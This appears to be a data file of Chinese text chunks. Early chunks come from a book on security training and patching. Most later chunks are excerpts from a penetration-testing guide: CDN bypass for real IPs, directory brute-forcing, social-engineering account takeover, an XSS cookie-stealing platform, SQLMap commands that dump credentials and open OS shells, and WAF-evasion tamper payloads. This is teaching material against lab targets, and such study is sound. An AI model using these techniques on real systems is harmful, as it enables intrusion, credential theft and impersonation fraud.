    {"text": "能获得预先警告来执行长期升级的唯一方式是，正好有人能够在安全威胁信息一出来时就获得它（许多有道德的黑客会在将信息公之于众之前给供应商三个月到一年的时间去修复它）。"},
    {"text": "调整已有安全软件 更改宿主平台 修改宿主浏览器 通过用户培训或其他方法促成流程的变更 通过非代码或轻量代码变动的方法来对底层应用进行更新 修改依赖的软件（比如库、API 和微服务） 遗憾的是，不是每次更新都能修复问题。"},
    {"text": "有一件事很有趣，这些文章通常会包含导致停机的模糊（并且可能是不正确的）理由（请参阅 http://www.zdnet.com/article/microsoft-explains-roots-of-thisweeks-office-365-downtime/ ）。"},
    {"text": "但是，有时候停机以及随后的数据丢失是因为其他原因，比如自然的力量（请参阅 http://www.computerworld.com/article/2974260/data-center/mother-nature-teaches-google-alesson.html ）。"},
    {"text": "虽然停机被管理层视为消极的处理方法，但有时候它是防止出现严重损失的最佳方法，这些损失得花上几周或几个月去弥补（通常会涉及更多的停机）。"},
    {"text": "如果依赖代码是可信赖的且你正在使用最新的版本，可能不必去立刻检查更新，但确实需要让第三方认识到它在产品中的潜在安全问题并要求解决这些问题。"},
    {"text": "开发人员需要密切留意新的威胁并修复安全漏洞，系统管理员需要对潜在的攻击行为保持警惕，管理层需要知道提供资源来保证应用程序安全的必要性。"},
    {"text": "培训不会解决所有问题，但是将良好的培训与安全的应用程序、合适的支持软件以及设计良好的库、API 和微服务相结合，会让黑客重新考虑是否要发起攻击。"},
    {"text": "例如，公司的每个群体都需要接受公司安全流程方面的培训。 无论这个群体是包含用户、开发人员、系统管理员还是管理层，每个人都需要知道公司的规定以确保安全流程正常运行。"},
    {"text": "针对群体的需求制订专门的培训是很重要的。 确保满足这些群体的隐私、规模和技术需求也是很重要的。 在你寻找具体的培训场地时，要考虑培训对象会如何学习。"},
    {"text": "员工当前的技能水平 普遍的培训需求（整个行业的需求） 针对具体公司的培训需求（比如表单或流程的使用） 可参与的员工 可用的培训师 培训师对员工需求的熟悉程度 可用的培训地点 除非你为达到培训目标创建有用的计划，否则员工将一无所获，培训师会有挫折感，而你投入的时间将毫无价值。"},
    {"text": "总之，目标的设置是进行培训工作的关键。 以下是一些在设置公司培训目标时需要考虑的事项。 基于公司真正的培训需求设置目标，而不是基于可有可无的需求。"},
    {"text": "你总是可以在稍后开展另外的培训以解决难度较高的目标，而重要的是要在培训课程中获得可以展示的结果，这样当管理层问起培训情况时你可以指出完成的目标。"},
    {"text": "17.1.3 使用内部培训师 许多公司要求员工进行必需的培训。 在许多情况下，使用内部培训师是可以接受的，但有些情况需要聘请顾问或专业培训师以获得好的结果。 使用内部培训师有利有弊。"},
    {"text": "在书面考试中不及格的人常常在实际动手的测试中做得更好。 但是，这类测试仍然有与书面考试一样的问题：有人就是能够在不真正理解培训材料的情况下操作得更好。"},
    {"text": "监控结果 从整体上查看业务情况可能无法让你完全了解培训效果。 有时候，你需要监控特定的业务领域（比如电子邮件攻击成功率的下降等），才能知道培训是否按预期起效。"},
    {"text": "但是，失败只是表明需要更多的培训，而不是需要责备（请参阅文章“Defining the Benefits of Failure”，网址为 http://blog.johnmuellerbooks.com/2013/04/26/defining-the-benefits-of-failure/ ）。"},
    {"text": "当然，比起使用内部培训师，这种一般性培训会有更多的开支，所以你在花更多钱的同时却只能得到较少与你的公司相关的信息。 但是，在大多数情况下，员工接受的培训会比内部培训更专业和及时。"},
    {"text": "通过第三方，你获得的是培训的质量。 不是所有的第三方培训都是相同的。 获得第三方培训有多种方式，每种方式都有利有弊。 下面列出了最常见的第三方培训方式。"},
    {"text": "讨论培训时间以确保培训师能为公司提供服务 指定培训场地 确保培训师确实能提供所需的服务 确认培训师有适当的资格证书 为了获得想要的结果，创建培训师需求清单 获得所需的特殊设备的清单 第三方培训师和培训机构能够提供的价值各不相同。"},
    {"text": "17.2.2 为公司聘请第三方培训师 当聘请第三方培训师进行教学时，你需要举行几次会议以确保培训师理解你的需求并确认你已为培训师做好所需准备。"},
    {"text": "让培训师准确地知道在培训课程中哪些安全领域要处理和强调，这一点很重要。 确保培训师理解安全问题背后的历史并知道你在过去采取的措施。"},
    {"text": "与访问公司的其他客人一样，你需要确保培训师感受到欢迎，但不能自由访问敏感区域和敏感信息。 培训师不能以某种方式凌驾于公司的安全要求之上。"},
    {"text": "但是，用户通常需要特殊的培训，因为他们不具备开发人员在获取认证或学校学习时掌握的知识。 此外，用户缺乏开发团队或其他员工在多年处理安全问题中积累的经验。"},
    {"text": "为了让员工们都知道在公司里要如何安全地执行任务，你需要使他们了解所有会影响公司的法规和其他要求。 重要的是员工不仅要理解这些内容，还要理解公司是如何满足这些要求的。"},
    {"text": "更重要的是，作为培训的一部分，可以帮助员工理解安全漏洞对他们自身的影响。 关键是要让员工理解在涉及安全时遵守公司的指导原则对他们个人利益的影响。"},
    {"text": "事实上，你应该将这些书面指南当作内部培训的一部分。 请确保书面指南能够反映人们真正接受的培训。 当你更新培训内容时，也要更新这些指南。 每次更新培训内容时，请确保每个人都收到更新后的指南副本。"},
    {"text": "曾经有一个富有创造性的安全管理员，他有时候会举行一些竞赛，比如“第一位找出给别人密码时对应的正确安全原则的人将在午餐时获得免费比萨”。"},
    {"text": "在这里可以找到我们： 微博 @图灵教育 : 好书、活动每日播报 微博 @图灵社区 : 电子书和好文章的消息 微博 @图灵新知 : 图灵教育的科普小组 微信 图灵访谈 : ituring_interview，讲述码农精彩人生 微信 图灵教育 : turingbooks 091507240605ToBeReplacedWithUserId"},
    {"text": "未知 版权信息 书名：Web安全攻防：渗透测试实战指南 作者：徐焱 等 排版：徐如意 ISBN：9787121342837 版权所有·侵权必究 未知 1.5 指纹识别 指纹由于其终身不变性、唯一性和方便性，几乎已成为生物特征识别的代名词。通常我们说的指纹就是人的手指末端正面皮肤上凸凹不平的纹线，纹线规律地排列形成不同的纹型。而本节所讲的指纹是指网站CMS指纹识别、计算机操作系统及Web容器的指纹识别等。 应用程序一般在html、js、css等文件中多多少少会包含一些特征码，比如WordPress在robots.txt中会包含wp-admin、首页index.php中会包含generator=wordpress 3.xx，这个特征就是这个CMS的指纹，那么当碰到其他网站也存在此特征时，就可以快速识别出该CMS，所以叫作指纹识别。 在渗透测试中，对目标服务器进行指纹识别是相当有必要的，因为只有识别出相应的Web容器或者CMS，才能查找与其相关的漏洞，然后才能进行相应的渗透操作。 CMS（Content Management System）又称整站系统或文章系统。在2004年以前，如果想进行网站内容管理，基本上都靠手工维护，但在信息爆炸的时代，完全靠手工完成会相当痛苦。所以就出现了CMS，开发者只要给客户一个软件包，客户自己安装配置好，就可以定期更新数据来维护网站，节省了大量的人力和物力。 常见的CMS有Dedecms（织梦）、Discuz、PHPWEB、PHPWind、PHPCMS、ECShop、Dvbbs、SiteWeaver、ASPCMS、帝国、Z-Blog、WordPress等。 代表工具有御剑Web指纹识别、WhatWeb、WebRobo、椰树、轻量WEB指纹识别等，可以快速识别一些主流CMS，如图1-9所示。 图1-9 CMS扫描工具 除了这些工具，读者还可以利用一些在线网站查询CMS指纹识别，如下所示。 ● BugScaner:http://whatweb.bugscaner.com/look/。 ● 云悉指纹：http://www.yunsee.cn/finger.html。 ● 和WhatWeb:https://whatweb.net/。"},
    {"text": "未知 1.6 查找真实IP 在渗透测试过程中，目标服务器可能只有一个域名，那么如何通过这个域名来确定目标服务器的真实IP对渗透测试来说就很重要。如果目标服务器不存在CDN，可以直接通过www.ip138.com获取目标的一些IP及域名信息。这里主要讲解在以下这几种情况下，如何绕过CDN寻找目标服务器的真实IP。 1.目标服务器存在CDN CDN即内容分发网络，主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题。说得简单点，就是一组在不同运营商之间的对接节点上的高速缓存服务器，把用户经常访问的静态数据资源（例如静态的html、css、js图片等文件）直接缓存到节点服务器上，当用户再次请求时，会直接分发到在离用户近的节点服务器上响应给用户，当用户有实际数据交互时才会从远程Web服务器上响应，这样可以大大提高网站的响应速度及用户体验。 所以如果渗透目标购买了CDN服务，可以直接ping目标的域名，但得到的并非真正的目标Web服务器，只是离我们最近的一台目标节点的CDN服务器，这就导致了我们没法直接得到目标的真实IP段范围。 2.判断目标是否使用了CDN 通常会通过ping目标主域，观察域名的解析情况，以此来判断其是否使用了CDN，如图1-10所示。 图1-10 ping域名 还可以利用在线网站17CE（https://www.17ce.com）进行全国多地区的ping服务器操作，然后对比每个地区ping出的IP结果，查看这些IP是否一致，如果都是一样的，极有可能不存在CDN。如果IP大多不太一样或者规律性很强，可以尝试查询这些IP的归属地，判断是否存在CDN。 3.绕过CDN寻找真实IP 在确认了目标确实用了CDN以后，就需要绕过CDN寻找目标的真实IP，下面介绍一些常规的方法。 ● 内部邮箱源。一般的邮件系统都在内部，没有经过CDN的解析，通过目标网站用户注册或者RSS订阅功能，查看邮件、寻找邮件头中的邮件服务器域名IP,ping这个邮件服务器的域名，就可以获得目标的真实IP（注意，必须是目标自己的邮件服务器，第三方或公共邮件服务器是没有用的）。 ● 扫描网站测试文件，如phpinfo、test等，从而找到目标的真实IP。 ● 分站域名。很多网站主站的访问量会比较大，所以主站都是挂CDN的，但是分站可能没有挂CDN，可以通过ping二级域名获取分站IP，可能会出现分站和主站不是同一个IP但在同一个C段下面的情况，从而能判断出目标的真实IP段。 ● 国外访问。国内的CDN往往只对国内用户的访问加速，而国外的CDN就不一定了。因此，通过国外在线代理网站App Synthetic Monitor（https://asm.ca.com/en/ping.php）访问，可能会得到真实的IP，如图1-11所示。 图1-11 国外在线代理网站 ● 查询域名的解析记录。也许目标很久以前并没有用过CDN，所以可以通过网站NETCRAFT（https://www.netcraft.com/）来观察域名的IP历史记录，也可以大致分析出目标的真实IP段。 ● 如果目标网站有自己的App，可以尝试利用Fiddler或Burp Suite抓取App的请求，从里面找到目标的真实IP。 ● 绕过CloudFlare CDN查找真实IP。现在很多网站都使用CloudFlare提供的CDN服务，在确定了目标网站使用CDN后，可以先尝试通过在线网站Cloud FlareWatch（http://www.crimeflare.us/cfs.xhtml#box）对CloudFlare客户网站进行真实IP查询，结果如图1-12所示。 图1-12 查询CloudFlare的真实IP 4.验证获取的IP 找到目标的真实IP以后，如何验证其真实性呢？如果是Web，最简单的验证方法是直接尝试用IP访问，看看响应的页面是不是和访问域名返回的一样；或者在目标段比较大的情况下，借助类似Masscan的工具批扫描对应IP段中所有开了80、443、8080端口的IP，然后逐个尝试IP访问，观察响应结果是否为目标站点。"},
    {"text": "未知 1.7 收集敏感目录文件 在渗透测试中，探测Web目录结构和隐藏的敏感文件是一个必不可少的环节，从中可以获取网站的后台管理页面﹑文件上传界面，甚至可能扫描出网站的源代码。 针对网站目录的扫描主要有DirBuster、御剑后台扫描珍藏版、wwwscan、Spinder.py（轻量级快速单文件目录后台扫描）、Sensitivefilescan（轻量级快速单文件目录后台扫描）、Weakfilescan（轻量级快速单文件目录后台扫描）等工具。本节简单地讲解一下DirBuster。 DirBuster是OWASP开发的一款基于Java编写的、专门用于探测Web服务器的目录和隐藏文件。因为是用Java编写的，所以需要在Java运行环境（JRE）下安装。该工具的界面是纯图形化的，用法相对简单，使用的基本步骤如下。 在Target URL输入框中输入要扫描的网址，扫描时将请求方法设置为“Auto Switch（HEAD and GET）”选项。 设置线程的数值，推荐在20～30之间。太大了容易引起系统死机。 选择扫描类型，如果使用个人字典扫描，则选择“List based brute force”选项。 单击“Browse”选择字典，可以选择工具自带的字典，也可以选择自己的字典。 在Select starting options中选择“URL Fuzz”方式进行扫描。设置fuzzing时需要注意，在URL to fuzz里输入“/{dir}”。这里的{dir}是一个变量，用来代表字典中的每一行，如图1-13所示。 图1-13 DirBuster的配置信息 如果你扫描的目标是http://www.xxx.com/admin/，那么就要在URL to fuzz里填写“/admin/{dir}”，意思是在“{dir}”的前后可以随意拼接你想要的目录或者后缀，例如输入“:/admin/{dir}.php”就表示扫描admin目录下的所有php文件。 除此之外，读者还可以利用很多在线工具站，效果也相当不错，这里推荐一个：WebScan（http://www.webscan.cc/）。 未知 1.8 社会工程学 社会工程学在渗透测试中起着不小的作用，利用社会工程学，攻击者可以从一名员工的口中挖掘出本应该是秘密的信息。 假设攻击者对一家公司进行渗透测试，正在收集目标的真实IP阶段，此时就可以利用收集到的这家公司的某位销售人员的电子邮箱。首先，给这位销售人员发送邮件，假装对某个产品很感兴趣，显然销售人员会回复邮件。这样攻击者就可以通过分析邮件头来收集这家公司的真实IP地址及内部电子邮件服务器的相关信息。 通过进一步地应用社会工程学，假设现在已经收集了目标人物的邮箱、QQ、电话号码、姓名，以及域名服务商，也通过爆破或者撞库的方法获取邮箱的密码，这时就可以冒充目标人物要求客服人员协助重置域管理密码，甚至技术人员会帮着重置密码，从而使攻击者拿下域管理控制台，然后做域劫持。 除此以外，还可以利用“社工库”查询想要得到的信息，如图1-14所示，社工库是用社会工程学进行攻击时积累的各方数据的结构化数据库。这个数据库里有大量信息，甚至可以找到每个人的各种行为记录。利用收集到的邮箱，可以在社工库中找到已经泄露的密码，其实还可以通过搜索引擎搜索到社交账号等信息，然后通过利用社交和社会工程学得到的信息构造密码字典，对目标用户的邮箱和OA账号进行爆破或者撞库。 图1-14 社工库 未知 第2章 搭建漏洞环境及实战 未知 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境，本节演示的是WDLinux的一款集成的安装包，操作起来非常简单。首先，下载需要的安装包，命令如下所示。 wget http://dl.wdlinux.cn/files/lanmp_v3.tar.gz 下载完成后进行解压，解压文件的命令为tar zxvf lanmp_v3.tar.gz，运行环境如图2-1所示。 图2-1 安装LANMP 输入sh lanmp.sh命令运行LANMP，这时程序中会有5个选项，如图2-2所示。选项1是安装Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务，选项2是安装Nginx、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务，选项3是安装Nginx、Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务，选项4是安装所有服务，选项5是现在不安装。Zend Guard是一款PHP加密工具，经过加密的文件，必须安装Zend才能返回正常页面；PureFTPd是FTP空间服务；phpMyAdmin的作用是利用Web页面来管理MySQL数据库服务。这里可以根据自己需要的环境，自行选择。 图2-2 选择安装环境 在Kali和Ubuntu等系统中，输入sh lanmp.sh命令后提示有如下错误，如图2-3所示。 图2-3 错误提示 这是因为系统的dash兼容性不好，而编译常用的就是bash。所以可以输入以下命令，直接更改系统的编辑器（Shell）操作。 sudo dpkg-reconfigure dash 然后选择“<No>”选项，如图2-4所示。 图2-4 Configuring dash界面 接着输入sudo sh lanmp.sh命令继续安装，如图2-5所示。 图2-5 选择安装环境 这时选择你要安装的环境即可，安装的过程可能有点慢，安装完成后即可看到如图2-6所示的内容。在浏览器中访问IP和8080端口，输入默认的账号admin和密码wdlinux.cn，登录成功后应先修改默认密码，防止被攻击。 图2-6 安装成功"},
    {"text": "未知 2.2 在Windows系统中安装WAMP WAMP是Windows中Apache、MySQL和PHP的应用环境，这里笔者演示的是WampServer，在本书的同步网站下载其安装文件。在安装时按照弹出的对话框提示，单击“下一步”按钮。通常在安装WampServer时会遇到一个问题，提示找不到MSVCR110.dll，解决方案是去http://www.zhaodll.com/dll/download.asp?softid=41552&downid=2&iz3=2a9db44a3a7e2d7f65f2c100b6662097&id=41625下载Msvcx110-zip后，将32位的系统放到 C:\\Windows\\System32目录下，64位的系统则放到C:\\Windows\\SysWOW64目录下，重新安装一遍就能解决。如果遇到Apache启动失败的情况，应当先卸载Apache服务，然后重新安装Apache服务并启动，如图2-7所示。 图2-7 启动Apache服务 启动成功后访问127.0.0.1，如图2-8所示，表示服务已经正常运行。 图2-8 访问127.0.0.1 未知 2.3 搭建DVWA漏洞环境 DVWA是一款开源的渗透测试漏洞练习平台，其中内含XSS、SQL注入、文件上传、文件包含、CSRF和暴力破解等各个难度的测试环境。在本书的同步网站下载其安装文件。在安装时需要在数据库里创建一个数据库名，进入MySQL管理中的phpMyAdmin，打开http://127.0.0.1/phpMyAdmin/，创建名为“dvwa”的数据库，如图2-9所示。 图2-9 创建新的数据库 接着修改config文件夹下的config.inc.php中数据库的用户名、密码、数据库名，如图2-10所示。 图2-10 修改数据库的相关信息 修改完成后，保存并复制所有源码，粘贴在网站的根目录中，也就是www目录下，打开浏览器访问http://127.0.0.1/setup.php，单击“Create/Reset Database”按钮进行安装，安装成功后则如图2-11所示，单击“login”即可登录，默认账号为admin，密码为password。 图2-11 安装界面 在安装过程中可能会出现红色的Disabled，修改PHP安装目录中的php.ini文件，找到allow_url_include，把Off改为On，然后重启PHP即可解决这个问题，如图2-12所示。 图2-12 修改php.ini文件 未知 2.4 搭建SQL注入平台 sqli-labs是一款学习SQL注入的开源平台，共有75种不同类型的注入，在本书的同步网站下载完压缩包后并解压，复制源码然后将其粘贴到网站的目录中，进入MySQL管理中的phpMyAdmin，打开http://127.0.0.1/phpMyAdmin/，在数据库中新建库名为“security”的数据库，并把源码中的sql-lab.sql文件导入数据库中，如图2-13所示。 图2-13 导入数据库 打开sql-connections文件夹中的db-creds.inc文件，可以修改数据库的账号、密码、库名等配置信息，笔者修改完数据库密码后，打开浏览器访问127.0.0.1/sql1/，接着单击“Setup/reset Database for labs”，如图2-14所示。 图2-14 修改数据库的数据 笔者在www目录中创建了sql1文件夹，并把代码放在该目录下，单击“Setup/reset Database for labs”后会自动访问http://127.0.0.1/sql1/sql-connections/setup-db.php，如果出现如图2-15所示的信息，说明安装成功。 图2-15 安装成功 未知 2.5 搭建XSS测试平台 XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台，XSS可以做JS能做的所有事，包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息（如浏览器信息、IP地址）等。这里使用的是基于xsser.me的源码。在本书的同步网站下载相关文件并解压，然后将其放置在用来搭建XSS平台的网站目录下，安装过程如下所示。 ● 进入MySQL管理界面中的phpMyAdmin界面，新建一个XSS平台的数据库，如xssplatform，设置其用户名和密码，如图2-16所示。 图2-16 新建XSS平台的数据库 ● 修改config.php中的数据库连接字段，包括用户名、密码和数据库名，访问XSS平台的URL地址，将注册配置中的invite改为normal，要修改的配置如图2-17所示。 图2-17 修改config.php中的数据 ● 进入MySQL管理中的phpMyAdmin，选择XSS平台的数据库，导入源码包中的xssplatform.sql文件，然后执行以下SQL命令，将数据库中原有的URL地址修改为自己使用的URL，如图2-18所示。同时，也需要将authtest.php中的网址代码替换为自己的URL，如图2-19中用线框标出的部分。 UPDATE oc_module SETcode=REPLACE（code,'http://xsser.me',' http://yourdomain/xss'） 图2-18 执行SQL语句 图2-19 修改URL ● 接下来访问搭建XSS平台的URL，首先注册用户，然后在phpMyAdmin里选择oc_user，将注册用户的adminLevel改为1，如图2-20所示。再将config.php注册配置中的normal改为invite（使用邀请码注册，即关闭开放注册的功能）。 图2-20 修改adminLevel的值 ● 需要配置伪静态文件（.htaccess），在平台根目录下创建.htaccess文件，写入以下代码。 ● 使用注册的账号登录XSS平台，创建项目，如图2-21所示。 图2-21 登录XSS平台"},
    {"text": "未知 作者简介 徐焱 北京交通大学安全研究员。2002年接触网络安全，主要研究方向是内网渗透和APT攻击，有丰富的网络安全渗透经验。已出版图书《网络攻防实战研究：漏洞利用与提权》，曾在《黑客防线》、《黑客X档案》、《黑客手册》、FreeBuf、360安全客、阿里云盾先知、嘶吼等杂志和媒体发表过多篇技术文章。 李文轩 ID：遗忘 曾任天融信渗透测试工程师，现在奇虎360攻防实验室安全研究员、擅长渗透测试、无线电安全，活跃于多个漏洞报告平台，报告过多个CVE漏洞，参与360安全客季刊的编辑审核。 王东亚 ID：OxExploit 曾任绿盟科技、天融信高级安全顾问，现任安徽三实安全总监，ATK团队发起人。擅长渗透测试和代码审计，活跃于多个漏洞报告平台，报告过数千个安全漏洞，包括多个CNVD、CVE漏洞。曾在FreeBuf、绿盟科技季刊等杂志和媒体发表过多篇专业技术文章，获得多个CTF比赛名次。 本书配套资源网址：www.ms08067.com 未知 第3章 常用的渗透测试工具"},
    {"text": "未知 3.1 SQLMap详解 SQLMap是一个自动化的SQL注入工具，其主要功能是扫描、发现并利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。"},
    {"text": "● 基于布尔类型的盲注，即可以根据返回页面判断条件真假的注入。 ● 基于时间的盲注，即不能根据页面返回的内容判断任何信息，要用条件语句查看时间延迟语句是否已执行（即页面返回时间是否增加）来判断。 ● 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回到页面中。"},
    {"text": "SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统，并在获取完全的操作权限时实行任意命令。 SQLMap的功能强大到让人惊叹，当常规的注入工具不能利用SQL注入漏洞进行注入时，使用SQLMap会有意想不到的效果。"},
    {"text": "3.1.1 安装SQLMap SQLMap的安装需要Python环境（不支持Python 3），本节使用的是Python 2.7.3，可在官网下载安装包并一键安装，安装完成后，复制Python的安装目录，添加到环境变量值中，如图3-1所示。 图3-1 设置环境变量 然后在SQLMap的官网（http://www.sqlmap.org）下载最新版的SQLMap，下载到Python的安装目录下，并把SQLMap目录加到环境变量中。 打开cmd，输入sqlmap.py命令后工具即可正常运行，如图3-2所示。 图3-2 运行SQLMap 3.1.2 SQLMap入门 1.判断是否存在注入 假设目标注入点是http://192.168.1.104/sql1/Less-1/?id=11，判断其是否存在注入的命令如下所示。 sqlmap.py-u http://192.168.1.104/sql1/Less-1/?id=1 结果显示存在注入，如图3-3所示。 图3-3 查询是否存在注入 还有一种情况，当注入点后面的参数大于等于两个时，需要加双引号，如下所示。 sqlmap.py-u \"http://192.168.1.104/sql1/Less-1/?id=1&uid=2 \" 可以看到，运行完判断是否存在注入的语句后，“爆出”一大段代码，下面来分析代码反馈给我们的信息。"},
    {"text": "图3-4 分析注入命令反馈回来的信息 2.判断文本中的请求是否存在注入 从文件中加载HTTP请求，SQLMap可以从一个文本文件中获取HTTP请求，这样就可以不设置其他参数（如cookie、POST数据等）,txt文件中的内容为Web数据包，如图3-5所示。 图3-5 txt文件的内容 判断是否存在注入的命令如下所示，运行后的结果如图3-6所示，-r一般在存在cookie注入时使用。 sqlmap.py –r desktop/1.txt 图3-6 查询是否存在注入 3.查询当前用户下的所有数据库 该命令是确定网站存在注入后，用于查询当前用户下的所有数据库，如下所示。"},
    {"text": "sqlmap.py-u http://192.168.1.104/sql1/Less-1/?id=1--dbs 从图3-7中可以看到，查询出了17个数据库及所有数据库的库名。"},
    {"text": "图3-7 查询数据库 4.获取数据库中的表名 该命令的作用是查询完数据库后，查询指定数据库中所有的表名，如下所示。 如果在该命令中不加入-D参数来指定某一个具体的数据库，那么SQLMap会列出数据库中所有库的表，如图3-8所示。 sqlmap.py-u \"http://192.168.1.7/sql/union.php?id=1\"-D dkeye--tables 图3-8 dkeye数据库中的列表名 从图3-8中可以看到dkeye数据库中拥有的3个表名。"},
    {"text": "sqlmap.py-u \"http://192.168.1.7/sql/union.php?id=1\"-D dkeye-T user_info--columns 图3-9 查询字段名 从图3-9中可以看到在dkeye数据库中的user_info表中一共有4个字段。"},
    {"text": "sqlmap.py –u \"http://192.168.1.7/sql/union.php?id=1\" –D dkeye –T user_info –C username,password--dump 这里需要下载的数据是dkeye数据库里user_info表中username和password的值，如图3-10所示。"},
    {"text": "sqlmap.py –u \"http://192.168.1.7/sql/union.php?id=1\"--passwords 从图3-12中可以看到，密码使用MySQL5加密，可以在www.cmd5.com中自行解密。"},
    {"text": "图3-14 列出当前数据库的用户 3.1.3 SQLMap进阶：参数讲解 1.--level 5：探测等级 参数--level 5指需要执行的测试等级，一共有5个等级（1～5），可不加level，默认是1。"},
    {"text": "SQLMap使用的Payload可以在xml/payloads.xml中看到，也可以根据相应的格式添加自己的Payload，其中5级包含的Payload最多，会自动破解出cookie、XFF等头部注入。"},
    {"text": "2.--is-dba：当前用户是否为管理权限 该命令用于查看当前账户是否为数据库管理员账户，如下所示，在本案例中输入该命令，会返回Ture，如图3-15所示。 sqlmap.py –u \"http://192.168.1.7/sql/union.php?id=1\"--is-dba 图3-15 查看当前账户是否为数据库管理员账户 3.--roles：列出数据库管理员角色 该命令用于查看数据库用户的角色。 如果当前用户有权限读取包含所有用户的表，输入该命令会列举出每个用户的角色，也可以用-U参数指定想看哪个用户的角色。"},
    {"text": "图3-16 查看数据库用户的角色 4.--referer:HTTP Referer头 SQLMap可以在请求中伪造HTTP中的referer，当--level参数设定为3或3以上时，会尝试对referer注入。"},
    {"text": "5.--sql-shell：运行自定义SQL语句 该命令用于执行指定的SQL语句，如下所示，假设执行select*from users limit 0,1语句，结果如图3-17所示。 sqlmap.py –u \"http://192.168.1.7/sql/union.php?id=1\"--sql-shell 图3-17 执行指定的SQL语句 6.--os-cmd,--os-shell：运行任意操作系统命令 在数据库为MySQL、PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数时，如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库，包含用户自定义的函数sys_exec（）和sys_eval（），那么创建的这两个函数就可以执行系统命令。"},
    {"text": "7.--file-read：从数据库服务器中读取文件 该命令用于读取执行文件，当数据库为MySQL、PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数时，读取的文件可以是文本，也可以是二进制文件。 下面以Microsoft SQL Server 2005为例，复习--file-read参数的用法。 8.--file-write--file-dest：上传文件到数据库服务器中 该命令用于写入本地文件到服务器中，当数据库为MySQL、PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数时，上传的文件可以是文本，也可以是二进制文件。 下面以一个MySQL的例子复习--file-write--file-dest参数的用法。"},
    {"text": "3.1.4 SQLMap自带绕过脚本tamper的讲解 SQLMap在默认情况下除了使用CHAR（）函数防止出现单引号，没有对注入的数据进行修改，读者还可以使用--tamper参数对数据做修改来绕过WAF等设备，其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则，命令如下所示。 sqlmap.py XXXXX--tamper \"模块名\" 目前官方提供53个绕过脚本，下面是一个tamper脚本的格式。"},
    {"text": "使用脚本前的语句为： 1 AND'1'='1 使用脚本后，语句为： 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 ● base64encode.py 作用：替换为base64编码。"},
    {"text": "使用脚本前的语句为： 1' AND SLEEP（5）# 使用脚本后，语句为： MScgQU5EIFNMRUVQKDUpIw== ● multiplespaces.py 作用：围绕SQL关键字添加多个空格。 使用脚本前的语句为： 1 UNION SELECT foobar 使用脚本后，语句为： 1 UNION SELECT foobar ● space2plus.py 作用：用+号替换空格。 使用脚本前的语句为： SELECT id FROM users 使用脚本后，语句为： SELECT+id+FROM+users ● nonrecursivereplacement.py 作用：作为双重查询语句，用双重语句替代预定义的SQL关键字（适用于非常弱的自定义过滤器，例如将SELECT替换为空）。 使用脚本前的语句为： 1 UNION SELECT 2- 使用脚本后，语句为： 1 UNIOUNIONN SELESELECTCT 2- ● space2randomblank.py 作用：将空格替换为其他有效字符。 使用脚本前的语句为： SELECT id FROM users 使用脚本后，语句为： SELECT%0Did%0DFROM%0Ausers ● unionalltounion.py 作用：将UNION ALL SELECT替换为UNION SELECT。 使用脚本前的语句为： -1 UNION ALL SELECT 使用脚本后，语句为： -1 UNION SELECT ● securesphere.py 作用：追加特制的字符串。 使用脚本前的语句为： 1 AND 1=1 使用脚本后，语句为： 1 AND 1=1 and'0having'='0having' ● space2hash.py 作用：将空格替换为#号，并添加一个随机字符串和换行符。 使用脚本前的语句为： 1 AND 9227=9227 使用脚本后，语句为： 1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227 ● space2mssqlblank.py（mssql） 作用：将空格替换为其他空符号。 使用脚本前的语句为： SELECT id FROM users 使用脚本后，语句为： SELECT%0Eid%0DFROM%07users ● space2mssqlhash.py 作用：将空格替换为#号，并添加一个换行符。"},
    {"text": "使用脚本前的语句为： 1 AND 9227=9227 使用脚本后，语句为： 1%23%0AAND%23%0A9227=9227 ● between.py 作用：用NOT BETWEEN 0 AND替换大于号（>），用BETWEEN AND替换等号（=）。 使用脚本前的语句为： 1 AND A > B- 使用脚本后，语句为： 1 AND A NOT BETWEEN 0 AND B- 使用脚本前的语句为： 1 AND A=B- 使用脚本后，语句为： 1 AND A BETWEEN B AND B- ● percentage.py 作用：ASP允许在每个字符前面添加一个%号。"},
    {"text": "使用脚本前的语句为： SELECT FIELD FROM TABLE 使用脚本后，语句为： %S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A% B%L%E ● sp_password.py 作用：从DBMS日志的自动模糊处理的有效载荷中追加sp_password。"},
    {"text": "使用脚本前的语句为： 1 AND 9227=9227- 使用脚本后，语句为： 1 AND 9227=9227--sp_password ● charencode.py 作用：对给定的Payload全部字符使用URL编码（不处理已经编码的字符）。"},
    {"text": "使用脚本前的语句为： SELECT FIELD FROM%20TABLE 使用脚本后，语句为： %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 ● randomcase.py 作用：随机大小写。"},
    {"text": "使用脚本前的语句为： SELECT FIELD%20FROM TABLE 使用脚本后，语句为： %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020 %u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045 ● space2comment.py 作用：将空格替换为/**/。"},
